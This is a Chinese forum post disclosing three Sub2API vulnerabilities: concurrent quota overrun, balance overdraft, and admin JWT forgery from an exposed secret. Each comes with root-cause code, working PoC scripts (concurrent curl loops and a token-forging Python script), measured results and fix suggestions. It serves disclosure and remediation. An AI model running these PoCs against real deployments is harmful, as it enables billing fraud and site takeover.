登录

Sub2API 有余额类高危漏洞?

18012
  • 楼主 编辑于

    漏洞 D1:订阅模式并发超额消费(配额穿透)

    风险等级: 高危
    位置: 订阅计费链路(准入校验 + 用量累加)
    类型: 业务逻辑 / 竞争条件

    描述

    sub2api 的订阅(subscription)分组会按日 / 周 / 月下发用量配额。配额判定发生在请求准入阶段,但实际费用是在上游响应返回后的异步计费任务里累加的。准入判定只比较 "历史已用量" 与限额,不包含本次请求的预估成本,且用量累加语句没有任何上限守卫。因此在同一时间窗内并发发起多个请求时,每个请求都会看到同一份 "尚未超限" 的旧用量快照并全部放行,最终用量可成倍突破配额。

    叠加因素:订阅模式完全没有在途余额 / 配额预留——handler/gateway_inflight_reservation.go:77 对订阅分组直接返回 inflightNoop,而余额模式至少还有 Redis 在途预留兜底。

    根因

    // handler/gateway_inflight_reservation.go:77 —— 订阅模式放弃在途预留
    if apiKey.Group != nil && apiKey.Group.IsSubscriptionType() && subscription != nil {
        return ctx, inflightNoop, nil
    }
    
    // service/subscription_service.go:1037 —— 只比"已用量",additionalCost 恒传 0
    if !sub.CheckDailyLimit(group, 0) {
        return needsMaintenance, ErrDailyLimitExceeded
    }
    
    -- repository/user_subscription_repo.go:471-484 —— 累加无上限守卫
    UPDATE user_subscriptions us
    SET daily_usage_usd   = us.daily_usage_usd   + $1,
        weekly_usage_usd  = us.weekly_usage_usd  + $1,
        monthly_usage_usd = us.monthly_usage_usd + $1,
        updated_at        = NOW()
    WHERE us.id = $2 AND us.deleted_at IS NULL ...
    

    复现前置

    • 订阅型分组:groups.subscription_type='subscription',daily_limit_usd=0.1
    • 目标用户有该分组的有效 user_subscriptions 行
    • 该分组下有可用上游账号;用户 API Key 绑定该分组
    • 清掉订阅缓存 billing:sub:<uid>:<gid>(否则旧快照会先把你 403 掉)

    PoC

    BASE=http://127.0.0.1:8080
    SKEY="<PH:SUB_KEY>"          # 绑定订阅分组的 key
    uid=<PH:USER_ID>; gid=<PH:GROUP_ID>
    
    # 1) 清零用量并清缓存,避免旧快照干扰
    docker exec sub2api-postgres psql -U sub2api -d sub2api -c \
      "UPDATE user_subscriptions SET daily_usage_usd=0,weekly_usage_usd=0,monthly_usage_usd=0 WHERE user_id=$uid;"
    docker exec sub2api-redis redis-cli -a "<PH:REDIS_PASSWORD>" --no-auth-warning del "billing:sub:$uid:$gid"
    
    # 2) 并发 20 发(每发约 0.078 USD,日限额仅 0.1)
    M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
    for i in $(seq 1 20); do
      curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages \
        -H "Authorization: Bearer $SKEY" -H 'Content-Type: application/json' -d "$M" &
    done | sort | uniq -c
    wait; sleep 7
    
    # 3) 读结果
    docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc \
      "select daily_usage_usd from user_subscriptions where user_id=$uid"
    

    实测结果(本实例)

    20 200                                   ← 20 发全部放行,0 个被拦
    日用量: 1.5600000000 / 限额 0.1           ← 超出 15.6 倍
    订阅计费请求: 20 笔
    

    串行对照(同一环境,逐发):第 1、2 发 200(此时已用量 0.078 ≤ 0.1),第 3 发起 429 DAILY_LIMIT_EXCEEDED。说明即使不并发也必然多放一份,并发只是把倍数放大到 N。

    影响

    订阅用户可用一份配额消耗 N 份上游额度(N ≈ 并发数)。对按量采购上游的运营方,这是直接的现金流损失;对转售场景,等于订阅套餐失去定价意义。

    修复建议

    • 订阅模式接入在途预留(按 max_tokens × 输出单价 估算,Redis 原子扣减);
    • 或在 IncrementUsage 上加条件守卫:... WHERE daily_usage_usd + $1 <= <limit>,受影响行数为 0 即拒绝;
    • 准入时把 additionalCost 传成预估成本,而不是 0。

    漏洞 D2:余额模式并发透支(余额可被扣成负数)

    风险等级: 高危
    位置: 余额扣减 + 网关准入
    类型: 业务逻辑 / 竞争条件

    描述

    余额扣减函数在 "余额足够" 分支失败后,会落到一个无条件扣减的兜底分支,直接把余额扣成负数。而网关准入只判断 balance <= 0,成本又在响应后才结算。两者叠加后,一个只剩" 一次请求的钱 "的账户并发发起 N 个请求,N 个请求都会通过准入并各自计费,最终余额远超应付额度。系统随后只会用 <= 0 拦住" 下一批 " 请求,已经发生的消费不可追回。

    根因

    // repository/user_repo.go:883 —— 先条件扣,扣不动就无条件扣(透支策略)
    n, err := client.User.Update().
        Where(dbuser.IDEQ(id), dbuser.BalanceGTE(amount)).
        AddBalance(-amount).Save(ctx)
    if n > 0 { return nil }
    
    n, err = client.User.Update().      // ← 余额不足也照扣,余额变负
        Where(dbuser.IDEQ(id)).
        AddBalance(-amount).Save(ctx)
    
    // server/middleware/api_key_auth.go:397 —— 只拦"已经没钱"
    func apiKeyBalanceBelowAuthThreshold(balance float64, _ *config.Config) bool {
        return balance <= 0
    }
    

    复现前置

    • 余额模式(标准)分组,用户 API Key 已绑定
    • 该分组下有可用上游账号
    • 已知单次请求成本(本文用 0.078 USD)

    PoC

    BASE=http://127.0.0.1:8080
    KEY="<PH:API_KEY>"; uid=<PH:USER_ID>; COST=0.078
    
    # 1) 余额精确设为"恰好够一次"
    docker exec sub2api-postgres psql -U sub2api -d sub2api -c \
      "UPDATE users SET balance=$COST WHERE id=$uid;"
    
    # 2) 并发 10 发
    M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
    for i in $(seq 1 10); do
      curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages \
        -H "Authorization: Bearer $KEY" -H 'Content-Type: application/json' -d "$M" &
    done | sort | uniq -c
    wait; sleep 6
    
    # 3) 读结果
    docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc \
      "select balance from users where id=$uid;
       select count(*), sum(actual_cost) from usage_logs where user_id=$uid and created_at>now()-interval '2 minutes';"
    

    实测结果(本实例)

    10 200                                                              ← 10 发全部放行
    余额: 0.07800000 -> -0.70200000                                     ← 被扣成负数
    新增计费: 10 笔     本轮费用: 0.78 USD                               ← 应付 0.078,实付 0.78
    

    即:支付 1 份钱,消耗 11 份用量(含此前 1 次基准请求),透支倍数 ≈ 11×。

    影响

    • 用户在余额见底前并发 "抢跑",一次性薅走 N 倍额度后弃号,损失不可回收;
    • 负余额账户在下一次请求即被 403,但已消费部分无法追偿;
    • 与 "自抹 key 限额"(quota=0 + reset_quota)组合,可把透支窗口拉得更长。

    修复建议

    • 兜底分支改为返回错误或写入 "欠款" 并把 users.status 置为 disabled;
    • 准入阶段按预估成本做在途预留,并强制 fail_closed_on_unpriced=true(未定价模型不再 fail-open);
    • 计费结算改为 WHERE balance >= cost 的条件更新,失败即拒单。

    漏洞 P1:部署密钥明文暴露 → 伪造管理员 JWT → 任意篡改用户余额

    风险等级: 严重(可直接接管全站)
    位置: 部署配置 + JWT 签发 / 校验
    类型: 凭证泄露 → 认证绕过 → 越权

    描述

    部署目录下的 .env 与 data/config.yaml 以明文同时保存了数据库口令、Redis 口令、JWT_SECRET 和 TOTP_ENCRYPTION_KEY。由于 JWT 使用 HS256 对称签名,拿到 JWT_SECRET 即可在离线状态下自行签发任意角色的访问令牌;而 token_version 是由 email + password_hash 派生的确定性值(数据库可读),会话绑定的 bnd 字段留空时校验直接放行。三条特性叠加,攻击者无需任何用户口令即可构造出管理员令牌,进而调用管理接口任意修改用户余额、读取全站数据、变更系统配置。

    根因

    # /www/wwwroot/sub2api/data/config.yaml(.env 同源)
    database:
        password: <PH:POSTGRES_PASSWORD>
    redis:
        password: <PH:REDIS_PASSWORD>
    jwt:
        secret: <PH:JWT_SECRET>
    totp:
        encryption_key: <PH:TOTP_ENCRYPTION_KEY>
    
    // service/auth_service.go:1944-1947 —— token_version 可由 公开字段+password_hash 推导
    material := strings.ToLower(strings.TrimSpace(user.Email)) + "\n" + user.PasswordHash
    sum := sha256.Sum256([]byte(material))
    fingerprint := int64(binary.BigEndian.Uint64(sum[:8]) & 0x7fffffffffffffff)
    return user.TokenVersion ^ fingerprint
    
    // server/middleware/session_binding.go:71 —— bnd 为空即跳过会话绑定
    if claims == nil || claims.BindingHash == "" {
        return true
    }
    

    复现前置

    • 能读取 config.yaml 或 .env(目录穿越、备份泄露、插件 / 模板读取、或其他文件读取面)
    • 或直接拿到数据库口令(同一文件内,一次泄露即全拿)

    PoC

    # forge_jwt.py —— 离线签发管理员令牌
    import base64, hmac, hashlib, json, struct, time
    
    SECRET  = "<PH:JWT_SECRET>"                       # config.yaml: jwt.secret
    EMAIL   = "<PH:ADMIN_EMAIL>"                      # users.email where role='admin'
    PW_HASH = "<PH:ADMIN_PASSWORD_HASH>"              # users.password_hash
    UID, ROLE = <PH:ADMIN_UID>, "admin"
    
    b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=")
    fp  = struct.unpack(">q", hashlib.sha256((EMAIL.lower()+"\n"+PW_HASH).encode()).digest()[:8])[0] & 0x7fffffffffffffff
    now = int(time.time())
    claims = {"user_id": UID, "email": EMAIL, "role": ROLE, "token_version": fp,
              "sid": "deadbeefcafe0001",              # 任意
              # 不写 bnd → 会话绑定校验直接放行
              "exp": now+86400, "nbf": now, "iat": now}
    h = b64(b'{"alg":"HS256","typ":"JWT"}')
    p = b64(json.dumps(claims, separators=(",",":")).encode())
    s = b64(hmac.new(SECRET.encode(), h+b"."+p, hashlib.sha256).digest())
    print((h+b"."+p+b"."+s).decode())
    
    TOKEN=$(python3 forge_jwt.py)
    
    # 验证管理员身份
    curl -s -o /dev/null -w '%{http_code}\n' -H "Authorization: Bearer $TOKEN" \
      http://127.0.0.1:8080/api/v1/admin/settings                       # 200
    
    # 任意修改余额(set / add / subtract)
    curl -s -X POST http://127.0.0.1:8080/api/v1/admin/users/<PH:USER_ID>/balance \
      -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
      -d '{"balance":888,"operation":"set"}'                            # 200
    
    # 或完全绕过应用层
    PGPASSWORD=<PH:POSTGRES_PASSWORD> psql -h 127.0.0.1 -U sub2api -d sub2api \
      -c "UPDATE users SET balance=888 WHERE id=<PH:USER_ID>;"
    

    实测结果(本实例)

    GET  /api/v1/admin/settings                -> 200
    GET  /api/v1/admin/users/3/balance-history -> 200
    POST /api/v1/admin/users/3/balance         -> 200
    数据库: [email protected] | 888.00000000
    

    余额变更会触发 trg_users_auth_cache_invalidation,Redis 缓存同步失效,改完立即生效,无需重启。

    影响

    • 全站任意用户余额可改(含管理员自身)、可提权、可读全站数据(用户、API Key、用量、支付订单、审计日志);
    • 可修改系统设置:开启注册、改支付渠道商户号、改回调地址、植入自定义页面内容;
    • data/ 整体挂载进容器(./data:/app/data),一次读取即同时暴露配置与运行数据。
    收藏支持反对打赏

12 条回复

发表回复